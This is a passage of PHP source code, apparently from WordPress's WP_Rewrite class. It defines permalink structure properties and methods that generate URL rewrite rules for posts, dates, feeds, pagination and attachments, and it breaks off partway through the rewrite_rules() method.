3.1.0 * @var string */ public $pagination_base = 'page'; /** * Comments pagination permalink base. * * @since 4.2.0 * @var string */ public $comments_pagination_base = 'comment-page'; /** * Feed permalink base. * * @since 1.5.0 * @var string */ public $feed_base = 'feed'; /** * Comments feed permalink structure. * * @since 1.5.0 * @var string */ public $comment_feed_structure; /** * Feed request permalink structure. * * @since 1.5.0 * @var string */ public $feed_structure; /** * The static portion of the post permalink structure. * * If the permalink structure is "/archive/%post_id%" then the front * is "/archive/". If the permalink structure is "/%year%/%postname%/" * then the front is "/". * * @since 1.5.0 * @var string * * @see WP_Rewrite::init() */ public $front; /** * The prefix for all permalink structures. * * If PATHINFO/index permalinks are in use then the root is the value of * `WP_Rewrite::$index` with a trailing slash appended. Otherwise the root * will be empty. * * @since 1.5.0 * @var string * * @see WP_Rewrite::init() * @see WP_Rewrite::using_index_permalinks() */ public $root = ''; /** * The name of the index file which is the entry point to all requests. * * @since 1.5.0 * @var string */ public $index = 'index.php'; /** * Variable name to use for regex matches in the rewritten query. * * @since 1.5.0 * @var string */ public $matches = ''; /** * Rewrite rules to match against the request to find the redirect or query. * * @since 1.5.0 * @var array */ public $rules; /** * Additional rules added external to the rewrite class. * * Those not generated by the class, see add_rewrite_rule(). * * @since 2.1.0 * @var array */ public $extra_rules = array(); /** * Additional rules that belong at the beginning to match first. * * Those not generated by the class, see add_rewrite_rule(). * * @since 2.3.0 * @var array */ public $extra_rules_top = array(); /** * Rules that don't redirect to WordPress' index.php. * * These rules are written to the mod_rewrite portion of the .htaccess, * and are added by add_external_rule(). * * @since 2.1.0 * @var array */ public $non_wp_rules = array(); /** * Extra permalink structures, e.g. categories, added by add_permastruct(). * * @since 2.1.0 * @var array */ public $extra_permastructs = array(); /** * Endpoints (like /trackback/) added by add_rewrite_endpoint(). * * @since 2.1.0 * @var array */ public $endpoints; /** * Whether to write every mod_rewrite rule for WordPress into the .htaccess file. * * This is off by default, turning it on might print a lot of rewrite rules * to the .htaccess file. * * @since 2.0.0 * @var bool * * @see WP_Rewrite::mod_rewrite_rules() */ public $use_verbose_rules = false; /** * Could post permalinks be confused with those of pages? * * If the first rewrite tag in the post permalink structure is one that could * also match a page name (e.g. %postname% or %author%) then this flag is * set to true. Prior to WordPress 3.3 this flag indicated that every page * would have a set of rules added to the top of the rewrite rules array. * Now it tells WP::parse_request() to check if a URL matching the page * permastruct is actually a page before accepting it. * * @since 2.5.0 * @var bool * * @see WP_Rewrite::init() */ public $use_verbose_page_rules = true; /** * Rewrite tags that can be used in permalink structures. * * These are translated into the regular expressions stored in * `WP_Rewrite::$rewritereplace` and are rewritten to the query * variables listed in WP_Rewrite::$queryreplace. * * Additional tags can be added with add_rewrite_tag(). * * @since 1.5.0 * @var array */ public $rewritecode = array( '%year%', '%monthnum%', '%day%', '%hour%', '%minute%', '%second%', '%postname%', '%post_id%', '%author%', '%pagename%', '%search%', ); /** * Regular expressions to be substituted into rewrite rules in place * of rewrite tags, see WP_Rewrite::$rewritecode. * * @since 1.5.0 * @var array */ public $rewritereplace = array( '([0-9]{4})', '([0-9]{1,2})', '([0-9]{1,2})', '([0-9]{1,2})', '([0-9]{1,2})', '([0-9]{1,2})', '([^/]+)', '([0-9]+)', '([^/]+)', '([^/]+?)', '(.+)', ); /** * Query variables that rewrite tags map to, see WP_Rewrite::$rewritecode. * * @since 1.5.0 * @var array */ public $queryreplace = array( 'year=', 'monthnum=', 'day=', 'hour=', 'minute=', 'second=', 'name=', 'p=', 'author_name=', 'pagename=', 's=', ); /** * Supported default feeds. * * @since 1.5.0 * @var array */ public $feeds = array( 'feed', 'rdf', 'rss', 'rss2', 'atom' ); /** * Determines whether permalinks are being used. * * This can be either rewrite module or permalink in the HTTP query string. * * @since 1.5.0 * * @return bool True, if permalinks are enabled. */ public function using_permalinks() { return ! empty( $this->permalink_structure ); } /** * Determines whether permalinks are being used and rewrite module is not enabled. * * Means that permalink links are enabled and index.php is in the URL. * * @since 1.5.0 * * @return bool Whether permalink links are enabled and index.php is in the URL. */ public function using_index_permalinks() { if ( empty( $this->permalink_structure ) ) { return false; } // If the index is not in the permalink, we're using mod_rewrite. return preg_match( '#^/*' . $this->index . '#', $this->permalink_structure ); } /** * Determines whether permalinks are being used and rewrite module is enabled. * * Using permalinks and index.php is not in the URL. * * @since 1.5.0 * * @return bool Whether permalink links are enabled and index.php is NOT in the URL. */ public function using_mod_rewrite_permalinks() { return $this->using_permalinks() && ! $this->using_index_permalinks(); } /** * Indexes for matches for usage in preg_*() functions. * * The format of the string is, with empty matches property value, '$NUM'. * The 'NUM' will be replaced with the value in the $number parameter. With * the matches property not empty, the value of the returned string will * contain that value of the matches property. The format then will be * '$MATCHES[NUM]', with MATCHES as the value in the property and NUM the * value of the $number parameter. * * @since 1.5.0 * * @param int $number Index number. * @return string */ public function preg_index( $number ) { $match_prefix = '$'; $match_suffix = ''; if ( ! empty( $this->matches ) ) { $match_prefix = '$' . $this->matches . '['; $match_suffix = ']'; } return "$match_prefix$number$match_suffix"; } /** * Retrieves all page and attachments for pages URIs. * * The attachments are for those that have pages as parents and will be * retrieved. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return array Array of page URIs as first element and attachment URIs as second element. */ public function page_uri_index() { global $wpdb; // Get pages in order of hierarchy, i.e. children after parents. $pages = $wpdb->get_results( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'page' AND post_status != 'auto-draft'" ); $posts = get_page_hierarchy( $pages ); // If we have no pages get out quick. if ( ! $posts ) { return array( array(), array() ); } // Now reverse it, because we need parents after children for rewrite rules to work properly. $posts = array_reverse( $posts, true ); $page_uris = array(); $page_attachment_uris = array(); foreach ( $posts as $id => $post ) { // URL => page name. $uri = get_page_uri( $id ); $attachments = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $id ) ); if ( ! empty( $attachments ) ) { foreach ( $attachments as $attachment ) { $attach_uri = get_page_uri( $attachment->ID ); $page_attachment_uris[ $attach_uri ] = $attachment->ID; } } $page_uris[ $uri ] = $id; } return array( $page_uris, $page_attachment_uris ); } /** * Retrieves all of the rewrite rules for pages. * * @since 1.5.0 * * @return string[] Page rewrite rules. */ public function page_rewrite_rules() { // The extra .? at the beginning prevents clashes with other regular expressions in the rules array. $this->add_rewrite_tag( '%pagename%', '(.?.+?)', 'pagename=' ); return $this->generate_rewrite_rules( $this->get_page_permastruct(), EP_PAGES, true, true, false, false ); } /** * Retrieves date permalink structure, with year, month, and day. * * The permalink structure for the date, if not set already depends on the * permalink structure. It can be one of three formats. The first is year, * month, day; the second is day, month, year; and the last format is month, * day, year. These are matched against the permalink structure for which * one is used. If none matches, then the default will be used, which is * year, month, day. * * Prevents post ID and date permalinks from overlapping. In the case of * post_id, the date permalink will be prepended with front permalink with * 'date/' before the actual permalink to form the complete date permalink * structure. * * @since 1.5.0 * * @return string|false Date permalink structure on success, false on failure. */ public function get_date_permastruct() { if ( isset( $this->date_structure ) ) { return $this->date_structure; } if ( empty( $this->permalink_structure ) ) { $this->date_structure = ''; return false; } // The date permalink must have year, month, and day separated by slashes. $endians = array( '%year%/%monthnum%/%day%', '%day%/%monthnum%/%year%', '%monthnum%/%day%/%year%' ); $this->date_structure = ''; $date_endian = ''; foreach ( $endians as $endian ) { if ( false !== strpos( $this->permalink_structure, $endian ) ) { $date_endian = $endian; break; } } if ( empty( $date_endian ) ) { $date_endian = '%year%/%monthnum%/%day%'; } /* * Do not allow the date tags and %post_id% to overlap in the permalink * structure. If they do, move the date tags to $front/date/. */ $front = $this->front; preg_match_all( '/%.+?%/', $this->permalink_structure, $tokens ); $tok_index = 1; foreach ( (array) $tokens[0] as $token ) { if ( '%post_id%' === $token && ( $tok_index <= 3 ) ) { $front = $front . 'date/'; break; } $tok_index++; } $this->date_structure = $front . $date_endian; return $this->date_structure; } /** * Retrieves the year permalink structure without month and day. * * Gets the date permalink structure and strips out the month and day * permalink structures. * * @since 1.5.0 * * @return string|false Year permalink structure on success, false on failure. */ public function get_year_permastruct() { $structure = $this->get_date_permastruct(); if ( empty( $structure ) ) { return false; } $structure = str_replace( '%monthnum%', '', $structure ); $structure = str_replace( '%day%', '', $structure ); $structure = preg_replace( '#/+#', '/', $structure ); return $structure; } /** * Retrieves the month permalink structure without day and with year. * * Gets the date permalink structure and strips out the day permalink * structures. Keeps the year permalink structure. * * @since 1.5.0 * * @return string|false Year/Month permalink structure on success, false on failure. */ public function get_month_permastruct() { $structure = $this->get_date_permastruct(); if ( empty( $structure ) ) { return false; } $structure = str_replace( '%day%', '', $structure ); $structure = preg_replace( '#/+#', '/', $structure ); return $structure; } /** * Retrieves the day permalink structure with month and year. * * Keeps date permalink structure with all year, month, and day. * * @since 1.5.0 * * @return string|false Year/Month/Day permalink structure on success, false on failure. */ public function get_day_permastruct() { return $this->get_date_permastruct(); } /** * Retrieves the permalink structure for categories. * * If the category_base property has no value, then the category structure * will have the front property value, followed by 'category', and finally * '%category%'. If it does, then the root property will be used, along with * the category_base property value. * * @since 1.5.0 * * @return string|false Category permalink structure on success, false on failure. */ public function get_category_permastruct() { return $this->get_extra_permastruct( 'category' ); } /** * Retrieve the permalink structure for tags. * * If the tag_base property has no value, then the tag structure will have * the front property value, followed by 'tag', and finally '%tag%'. If it * does, then the root property will be used, along with the tag_base * property value. * * @since 2.3.0 * * @return string|false Tag permalink structure on success, false on failure. */ public function get_tag_permastruct() { return $this->get_extra_permastruct( 'post_tag' ); } /** * Retrieves an extra permalink structure by name. * * @since 2.5.0 * * @param string $name Permalink structure name. * @return string|false Permalink structure string on success, false on failure. */ public function get_extra_permastruct( $name ) { if ( empty( $this->permalink_structure ) ) { return false; } if ( isset( $this->extra_permastructs[ $name ] ) ) { return $this->extra_permastructs[ $name ]['struct']; } return false; } /** * Retrieves the author permalink structure. * * The permalink structure is front property, author base, and finally * '/%author%'. Will set the author_structure property and then return it * without attempting to set the value again. * * @since 1.5.0 * * @return string|false Author permalink structure on success, false on failure. */ public function get_author_permastruct() { if ( isset( $this->author_structure ) ) { return $this->author_structure; } if ( empty( $this->permalink_structure ) ) { $this->author_structure = ''; return false; } $this->author_structure = $this->front . $this->author_base . '/%author%'; return $this->author_structure; } /** * Retrieves the search permalink structure. * * The permalink structure is root property, search base, and finally * '/%search%'. Will set the search_structure property and then return it * without attempting to set the value again. * * @since 1.5.0 * * @return string|false Search permalink structure on success, false on failure. */ public function get_search_permastruct() { if ( isset( $this->search_structure ) ) { return $this->search_structure; } if ( empty( $this->permalink_structure ) ) { $this->search_structure = ''; return false; } $this->search_structure = $this->root . $this->search_base . '/%search%'; return $this->search_structure; } /** * Retrieves the page permalink structure. * * The permalink structure is root property, and '%pagename%'. Will set the * page_structure property and then return it without attempting to set the * value again. * * @since 1.5.0 * * @return string|false Page permalink structure on success, false on failure. */ public function get_page_permastruct() { if ( isset( $this->page_structure ) ) { return $this->page_structure; } if ( empty( $this->permalink_structure ) ) { $this->page_structure = ''; return false; } $this->page_structure = $this->root . '%pagename%'; return $this->page_structure; } /** * Retrieves the feed permalink structure. * * The permalink structure is root property, feed base, and finally * '/%feed%'. Will set the feed_structure property and then return it * without attempting to set the value again. * * @since 1.5.0 * * @return string|false Feed permalink structure on success, false on failure. */ public function get_feed_permastruct() { if ( isset( $this->feed_structure ) ) { return $this->feed_structure; } if ( empty( $this->permalink_structure ) ) { $this->feed_structure = ''; return false; } $this->feed_structure = $this->root . $this->feed_base . '/%feed%'; return $this->feed_structure; } /** * Retrieves the comment feed permalink structure. * * The permalink structure is root property, comment base property, feed * base and finally '/%feed%'. Will set the comment_feed_structure property * and then return it without attempting to set the value again. * * @since 1.5.0 * * @return string|false Comment feed permalink structure on success, false on failure. */ public function get_comment_feed_permastruct() { if ( isset( $this->comment_feed_structure ) ) { return $this->comment_feed_structure; } if ( empty( $this->permalink_structure ) ) { $this->comment_feed_structure = ''; return false; } $this->comment_feed_structure = $this->root . $this->comments_base . '/' . $this->feed_base . '/%feed%'; return $this->comment_feed_structure; } /** * Adds or updates existing rewrite tags (e.g. %postname%). * * If the tag already exists, replace the existing pattern and query for * that tag, otherwise add the new tag. * * @since 1.5.0 * * @see WP_Rewrite::$rewritecode * @see WP_Rewrite::$rewritereplace * @see WP_Rewrite::$queryreplace * * @param string $tag Name of the rewrite tag to add or update. * @param string $regex Regular expression to substitute the tag for in rewrite rules. * @param string $query String to append to the rewritten query. Must end in '='. */ public function add_rewrite_tag( $tag, $regex, $query ) { $position = array_search( $tag, $this->rewritecode, true ); if ( false !== $position && null !== $position ) { $this->rewritereplace[ $position ] = $regex; $this->queryreplace[ $position ] = $query; } else { $this->rewritecode[] = $tag; $this->rewritereplace[] = $regex; $this->queryreplace[] = $query; } } /** * Removes an existing rewrite tag. * * @since 4.5.0 * * @see WP_Rewrite::$rewritecode * @see WP_Rewrite::$rewritereplace * @see WP_Rewrite::$queryreplace * * @param string $tag Name of the rewrite tag to remove. */ public function remove_rewrite_tag( $tag ) { $position = array_search( $tag, $this->rewritecode, true ); if ( false !== $position && null !== $position ) { unset( $this->rewritecode[ $position ] ); unset( $this->rewritereplace[ $position ] ); unset( $this->queryreplace[ $position ] ); } } /** * Generates rewrite rules from a permalink structure. * * The main WP_Rewrite function for building the rewrite rule list. The * contents of the function is a mix of black magic and regular expressions, * so best just ignore the contents and move to the parameters. * * @since 1.5.0 * * @param string $permalink_structure The permalink structure. * @param int $ep_mask Optional. Endpoint mask defining what endpoints are added to the structure. * Accepts a mask of: * - `EP_ALL` * - `EP_NONE` * - `EP_ALL_ARCHIVES` * - `EP_ATTACHMENT` * - `EP_AUTHORS` * - `EP_CATEGORIES` * - `EP_COMMENTS` * - `EP_DATE` * - `EP_DAY` * - `EP_MONTH` * - `EP_PAGES` * - `EP_PERMALINK` * - `EP_ROOT` * - `EP_SEARCH` * - `EP_TAGS` * - `EP_YEAR` * Default `EP_NONE`. * @param bool $paged Optional. Whether archive pagination rules should be added for the structure. * Default true. * @param bool $feed Optional Whether feed rewrite rules should be added for the structure. * Default true. * @param bool $forcomments Optional. Whether the feed rules should be a query for a comments feed. * Default false. * @param bool $walk_dirs Optional. Whether the 'directories' making up the structure should be walked * over and rewrite rules built for each in-turn. Default true. * @param bool $endpoints Optional. Whether endpoints should be applied to the generated rewrite rules. * Default true. * @return string[] Array of rewrite rules keyed by their regex pattern. */ public function generate_rewrite_rules( $permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true ) { // Build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/? $feedregex2 = ''; foreach ( (array) $this->feeds as $feed_name ) { $feedregex2 .= $feed_name . '|'; } $feedregex2 = '(' . trim( $feedregex2, '|' ) . ')/?$'; /* * $feedregex is identical but with /feed/ added on as well, so URLs like <permalink>/feed/atom * and <permalink>/atom are both possible */ $feedregex = $this->feed_base . '/' . $feedregex2; // Build a regex to match the trackback and page/xx parts of URLs. $trackbackregex = 'trackback/?$'; $pageregex = $this->pagination_base . '/?([0-9]{1,})/?$'; $commentregex = $this->comments_pagination_base . '-([0-9]{1,})/?$'; $embedregex = 'embed/?$'; // Build up an array of endpoint regexes to append => queries to append. if ( $endpoints ) { $ep_query_append = array(); foreach ( (array) $this->endpoints as $endpoint ) { // Match everything after the endpoint name, but allow for nothing to appear there. $epmatch = $endpoint[1] . '(/(.*))?/?$'; // This will be appended on to the rest of the query for each dir. $epquery = '&' . $endpoint[2] . '='; $ep_query_append[ $epmatch ] = array( $endpoint[0], $epquery ); } } // Get everything up to the first rewrite tag. $front = substr( $permalink_structure, 0, strpos( $permalink_structure, '%' ) ); // Build an array of the tags (note that said array ends up being in $tokens[0]). preg_match_all( '/%.+?%/', $permalink_structure, $tokens ); $num_tokens = count( $tokens[0] ); $index = $this->index; // Probably 'index.php'. $feedindex = $index; $trackbackindex = $index; $embedindex = $index; /* * Build a list from the rewritecode and queryreplace arrays, that will look something * like tagname=$matches[i] where i is the current $i. */ $queries = array(); for ( $i = 0; $i < $num_tokens; ++$i ) { if ( 0 < $i ) { $queries[ $i ] = $queries[ $i - 1 ] . '&'; } else { $queries[ $i ] = ''; } $query_token = str_replace( $this->rewritecode, $this->queryreplace, $tokens[0][ $i ] ) . $this->preg_index( $i + 1 ); $queries[ $i ] .= $query_token; } // Get the structure, minus any cruft (stuff that isn't tags) at the front. $structure = $permalink_structure; if ( '/' !== $front ) { $structure = str_replace( $front, '', $structure ); } /* * Create a list of dirs to walk over, making rewrite rules for each level * so for example, a $structure of /%year%/%monthnum%/%postname% would create * rewrite rules for /%year%/, /%year%/%monthnum%/ and /%year%/%monthnum%/%postname% */ $structure = trim( $structure, '/' ); $dirs = $walk_dirs ? explode( '/', $structure ) : array( $structure ); $num_dirs = count( $dirs ); // Strip slashes from the front of $front. $front = preg_replace( '|^/+|', '', $front ); // The main workhorse loop. $post_rewrite = array(); $struct = $front; for ( $j = 0; $j < $num_dirs; ++$j ) { // Get the struct for this dir, and trim slashes off the front. $struct .= $dirs[ $j ] . '/'; // Accumulate. see comment near explode('/', $structure) above. $struct = ltrim( $struct, '/' ); // Replace tags with regexes. $match = str_replace( $this->rewritecode, $this->rewritereplace, $struct ); // Make a list of tags, and store how many there are in $num_toks. $num_toks = preg_match_all( '/%.+?%/', $struct, $toks ); // Get the 'tagname=$matches[i]'. $query = ( ! empty( $num_toks ) && isset( $queries[ $num_toks - 1 ] ) ) ? $queries[ $num_toks - 1 ] : ''; // Set up $ep_mask_specific which is used to match more specific URL types. switch ( $dirs[ $j ] ) { case '%year%': $ep_mask_specific = EP_YEAR; break; case '%monthnum%': $ep_mask_specific = EP_MONTH; break; case '%day%': $ep_mask_specific = EP_DAY; break; default: $ep_mask_specific = EP_NONE; } // Create query for /page/xx. $pagematch = $match . $pageregex; $pagequery = $index . '?' . $query . '&paged=' . $this->preg_index( $num_toks + 1 ); // Create query for /comment-page-xx. $commentmatch = $match . $commentregex; $commentquery = $index . '?' . $query . '&cpage=' . $this->preg_index( $num_toks + 1 ); if ( get_option( 'page_on_front' ) ) { // Create query for Root /comment-page-xx. $rootcommentmatch = $match . $commentregex; $rootcommentquery = $index . '?' . $query . '&page_id=' . get_option( 'page_on_front' ) . '&cpage=' . $this->preg_index( $num_toks + 1 ); } // Create query for /feed/(feed|atom|rss|rss2|rdf). $feedmatch = $match . $feedregex; $feedquery = $feedindex . '?' . $query . '&feed=' . $this->preg_index( $num_toks + 1 ); // Create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex). $feedmatch2 = $match . $feedregex2; $feedquery2 = $feedindex . '?' . $query . '&feed=' . $this->preg_index( $num_toks + 1 ); // Create query and regex for embeds. $embedmatch = $match . $embedregex; $embedquery = $embedindex . '?' . $query . '&embed=true'; // If asked to, turn the feed queries into comment feed ones. if ( $forcomments ) { $feedquery .= '&withcomments=1'; $feedquery2 .= '&withcomments=1'; } // Start creating the array of rewrites for this dir. $rewrite = array(); // ...adding on /feed/ regexes => queries. if ( $feed ) { $rewrite = array( $feedmatch => $feedquery, $feedmatch2 => $feedquery2, $embedmatch => $embedquery, ); } // ...and /page/xx ones. if ( $paged ) { $rewrite = array_merge( $rewrite, array( $pagematch => $pagequery ) ); } // Only on pages with comments add ../comment-page-xx/. if ( EP_PAGES & $ep_mask || EP_PERMALINK & $ep_mask ) { $rewrite = array_merge( $rewrite, array( $commentmatch => $commentquery ) ); } elseif ( EP_ROOT & $ep_mask && get_option( 'page_on_front' ) ) { $rewrite = array_merge( $rewrite, array( $rootcommentmatch => $rootcommentquery ) ); } // Do endpoints. if ( $endpoints ) { foreach ( (array) $ep_query_append as $regex => $ep ) { // Add the endpoints on if the mask fits. if ( $ep[0] & $ep_mask || $ep[0] & $ep_mask_specific ) { $rewrite[ $match . $regex ] = $index . '?' . $query . $ep[1] . $this->preg_index( $num_toks + 2 ); } } } // If we've got some tags in this dir. if ( $num_toks ) { $post = false; $page = false; /* * Check to see if this dir is permalink-level: i.e. the structure specifies an * individual post. Do this by checking it contains at least one of 1) post name, * 2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and * minute all present). Set these flags now as we need them for the endpoints. */ if ( strpos( $struct, '%postname%' ) !== false || strpos( $struct, '%post_id%' ) !== false || strpos( $struct, '%pagename%' ) !== false || ( strpos( $struct, '%year%' ) !== false && strpos( $struct, '%monthnum%' ) !== false && strpos( $struct, '%day%' ) !== false && strpos( $struct, '%hour%' ) !== false && strpos( $struct, '%minute%' ) !== false && strpos( $struct, '%second%' ) !== false ) ) { $post = true; if ( strpos( $struct, '%pagename%' ) !== false ) { $page = true; } } if ( ! $post ) { // For custom post types, we need to add on endpoints as well. foreach ( get_post_types( array( '_builtin' => false ) ) as $ptype ) { if ( strpos( $struct, "%$ptype%" ) !== false ) { $post = true; // This is for page style attachment URLs. $page = is_post_type_hierarchical( $ptype ); break; } } } // If creating rules for a permalink, do all the endpoints like attachments etc. if ( $post ) { // Create query and regex for trackback. $trackbackmatch = $match . $trackbackregex; $trackbackquery = $trackbackindex . '?' . $query . '&tb=1'; // Create query and regex for embeds. $embedmatch = $match . $embedregex; $embedquery = $embedindex . '?' . $query . '&embed=true'; // Trim slashes from the end of the regex for this dir. $match = rtrim( $match, '/' ); // Get rid of brackets. $submatchbase = str_replace( array( '(', ')' ), '', $match ); // Add a rule for at attachments, which take the form of <permalink>/some-text. $sub1 = $submatchbase . '/([^/]+)/'; // Add trackback regex <permalink>/trackback/... $sub1tb = $sub1 . $trackbackregex; // And <permalink>/feed/(atom|...) $sub1feed = $sub1 . $feedregex; // And <permalink>/(feed|atom...) $sub1feed2 = $sub1 . $feedregex2; // And <permalink>/comment-page-xx $sub1comment = $sub1 . $commentregex; // And <permalink>/embed/... $sub1embed = $sub1 . $embedregex; /* * Add another rule to match attachments in the explicit form: * <permalink>/attachment/some-text */ $sub2 = $submatchbase . '/attachment/([^/]+)/'; // And add trackbacks <permalink>/attachment/trackback. $sub2tb = $sub2 . $trackbackregex; // Feeds, <permalink>/attachment/feed/(atom|...) $sub2feed = $sub2 . $feedregex; // And feeds again on to this <permalink>/attachment/(feed|atom...) $sub2feed2 = $sub2 . $feedregex2; // And <permalink>/comment-page-xx $sub2comment = $sub2 . $commentregex; // And <permalink>/embed/... $sub2embed = $sub2 . $embedregex; // Create queries for these extra tag-ons we've just dealt with. $subquery = $index . '?attachment=' . $this->preg_index( 1 ); $subtbquery = $subquery . '&tb=1'; $subfeedquery = $subquery . '&feed=' . $this->preg_index( 2 ); $subcommentquery = $subquery . '&cpage=' . $this->preg_index( 2 ); $subembedquery = $subquery . '&embed=true'; // Do endpoints for attachments. if ( ! empty( $endpoints ) ) { foreach ( (array) $ep_query_append as $regex => $ep ) { if ( $ep[0] & EP_ATTACHMENT ) { $rewrite[ $sub1 . $regex ] = $subquery . $ep[1] . $this->preg_index( 3 ); $rewrite[ $sub2 . $regex ] = $subquery . $ep[1] . $this->preg_index( 3 ); } } } /* * Now we've finished with endpoints, finish off the $sub1 and $sub2 matches * add a ? as we don't have to match that last slash, and finally a $ so we * match to the end of the URL */ $sub1 .= '?$'; $sub2 .= '?$'; /* * Post pagination, e.g. <permalink>/2/ * Previously: '(/[0-9]+)?/?$', which produced '/2' for page. * When cast to int, returned 0. */ $match = $match . '(?:/([0-9]+))?/?$'; $query = $index . '?' . $query . '&page=' . $this->preg_index( $num_toks + 1 ); // Not matching a permalink so this is a lot simpler. } else { // Close the match and finalise the query. $match .= '?$'; $query = $index . '?' . $query; } /* * Create the final array for this dir by joining the $rewrite array (which currently * only contains rules/queries for trackback, pages etc) to the main regex/query for * this dir */ $rewrite = array_merge( $rewrite, array( $match => $query ) ); // If we're matching a permalink, add those extras (attachments etc) on. if ( $post ) { // Add trackback. $rewrite = array_merge( array( $trackbackmatch => $trackbackquery ), $rewrite ); // Add embed. $rewrite = array_merge( array( $embedmatch => $embedquery ), $rewrite ); // Add regexes/queries for attachments, attachment trackbacks and so on. if ( ! $page ) { // Require <permalink>/attachment/stuff form for pages because of confusion with subpages. $rewrite = array_merge( $rewrite, array( $sub1 => $subquery, $sub1tb => $subtbquery, $sub1feed => $subfeedquery, $sub1feed2 => $subfeedquery, $sub1comment => $subcommentquery, $sub1embed => $subembedquery, ) ); } $rewrite = array_merge( array( $sub2 => $subquery, $sub2tb => $subtbquery, $sub2feed => $subfeedquery, $sub2feed2 => $subfeedquery, $sub2comment => $subcommentquery, $sub2embed => $subembedquery, ), $rewrite ); } } // Add the rules for this dir to the accumulating $post_rewrite. $post_rewrite = array_merge( $rewrite, $post_rewrite ); } // The finished rules. phew! return $post_rewrite; } /** * Generates rewrite rules with permalink structure and walking directory only. * * Shorten version of WP_Rewrite::generate_rewrite_rules() that allows for shorter * list of parameters. See the method for longer description of what generating * rewrite rules does. * * @since 1.5.0 * * @see WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters. * * @param string $permalink_structure The permalink structure to generate rules. * @param bool $walk_dirs Optional. Whether to create list of directories to walk over. * Default false. * @return array */ public function generate_rewrite_rule( $permalink_structure, $walk_dirs = false ) { return $this->generate_rewrite_rules( $permalink_structure, EP_NONE, false, false, false, $walk_dirs ); } /** * Constructs rewrite matches and queries from permalink structure. * * Runs the action {@see 'generate_rewrite_rules'} with the parameter that is an * reference to the current WP_Rewrite instance to further manipulate the * permalink structures and rewrite rules. Runs the {@see 'rewrite_rules_array'} * filter on the full rewrite rule array. * * There are two ways to manipulate the rewrite rules, one by hooking into * the {@see 'generate_rewrite_rules'} action and gaining full control of the * object or just manipulating the rewrite rule array before it is passed * from the function. * * @since 1.5.0 * * @return string[] An associative array of matches and queries. */ public function rewrite_rules() { $rewrite = array(); if ( empty( $this->permalink_structure ) ) { return $rewrite; } // robots.txt -- only if installed at the root. $home_path = parse_url( home_url() ); $robots_rewrite = ( empty( $home_path['path'] ) || '/' === $home_path['path'] ) ? array( 'robots\.txt$' => $this->index . '?robots=1' ) : array(); // favicon.ico -- only if installed at the root. $favicon_rewrite = ( empty( $home_path['path'] ) || '/' === $home_path['path'] ) ? array( 'favicon\.ico$' => $this->index . '?favicon=1' ) : array(); // Old feed and service files. $deprecated_files = array( '.*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$' => $this->index . '?feed=old', '.*wp-app\.php(/.*)?$' => $this->index . '?error=403', ); // Registration rules. $registration_pages = array(); if ( is_multisite() && is_main_site() ) { $registration_pages['.*wp-signup.php$'] = $this->index . '?signup=true'; $registration_pages['.*wp-activate.php$'] = $this->index . '?activate=true'; } // Deprecated. $registration_pages['.*wp-register.php$'] = $this->index . '?register=true'; // Post rewrite rules. $post_rewrite = $this->generate_rewrite_rules( $this->permalink_structure, EP_PERMALINK ); /** * Filters rewrite rules used for "post" archives. * * @since 1.5.0 * * @param string[] $post_rewrite Array of rewrite rules for posts, keyed by their regex pattern. */ $post_rewrite = apply_filters( 'post_rewrite_rules', $post_rewrite ); // Date rewrite rules. $date_rewrite = $this->generate_rewrite_rules( $this->get_date_permastruct(), EP_DATE ); /** * Filters rewrite rules used for date archives. * * Likely date archives would include /yyyy/, /yyyy/mm/, and /yyyy/mm/dd/. * * @since 1.5.0 * * @param string[] $date_rewrite Array of rewrite rules for date archives, keyed by their regex pattern. */ $date_rewrite = apply_filters( 'date_rewrite_rules', $date_rewrite ); // Root-level rewrite rules. $root_rewrite = $this->generate_rewrite_rules( $this->root . '/', EP_ROOT ); /** * Filters rewrite rules used for root-level archives. * * Likely root-level archives would include pagination rules for the homepage * as well as site-wide post feeds (e.g. /feed/, and /feed/atom/). * * @since 1.5.0 * * @param string[] $root_rewrite Array of root-level rewrite rules, keyed by their regex pattern. */ $root_rewrite = apply_filters( 'root_rewrite_rules', $root_rewrite ); // Comments rewrite rules. $comments_rewrite = $this->generate_rewrite_rules( $this->root . $this->comments_base, EP_COMMENTS, false, true, true, false ); /** * Filters rewrite rules used for comment feed archives. * * Likely comments feed archives include /comments/feed/, and /comments/feed/atom/. * * @since 1.5.0 * * @param string[] $comments_rewrite Array of rewrite rules for the site-wide comments feeds, keyed by their regex pattern. */ $comments_rewrite = apply_filters( 'comments_rewrite_rules', $comments_rewrite ); // Search rewrite rules. $search_structure = $this->get_search_permastruct(); $search_rewrite = $this->generate_rewrite_rules( $search_structure, EP_SEARCH ); /** * Filters rewrite rules used for search archives. * * Likely search-related archives include /search/search+query/ as well as * pagination and feed paths for a search. * * @since 1.5.0 * * @param string[] $search_rewrite Array of rewrite rules for search queries, keyed by their regex pattern. */ $search_rewrite = apply_filters( 'search_rewrite_rules', $search_rewrite ); // Author rewrite rules. $author_rewrite = $this->generate_rewrite_rules( $this->get_author_permastruct(), EP_AUTHORS ); /** * Filters rewrite rules used for author archives. * * Likely author archives would include /author/author-name/, as well as * pagination and feed paths for author archives. * * @since 1.5.0 * * @param string[] $author_rewrite Array of rewrite rules for author archives, keyed by their regex pattern. */ $author_rewrite = apply_filters( 'author_rewrite_rules', $author_rewrite ); // Pages rewrite rules. $page_rewrite = $this->page_rewrite_rules(); /** * Filters rewrite rules used for "page" post type archives. * * @since 1.5.0 * * @param string[] $page_rewrite Array of rewrite rules for the "page" post type, keyed by their regex pattern. */ $page_rewrite = apply_filters( 'page_rewrite_rules', $page_rewrite ); // Extra permastructs. foreach ( $this->extra_permastructs as $permastructname => $struct ) { if ( is_array( $struct ) ) { if ( count( $struct ) == 2 ) { $rules = $this->generate_rewrite_rules( $struct[0], $struct[1] ); } else { $rules = $this->generate_rewrite_rules( $struct['struct'], $struct['ep_mask'], $struct['paged'], $struct['feed'], $struct['forcomments'], $struct['walk_dirs'], $struct['endpoints'] ); } } else { $rules = 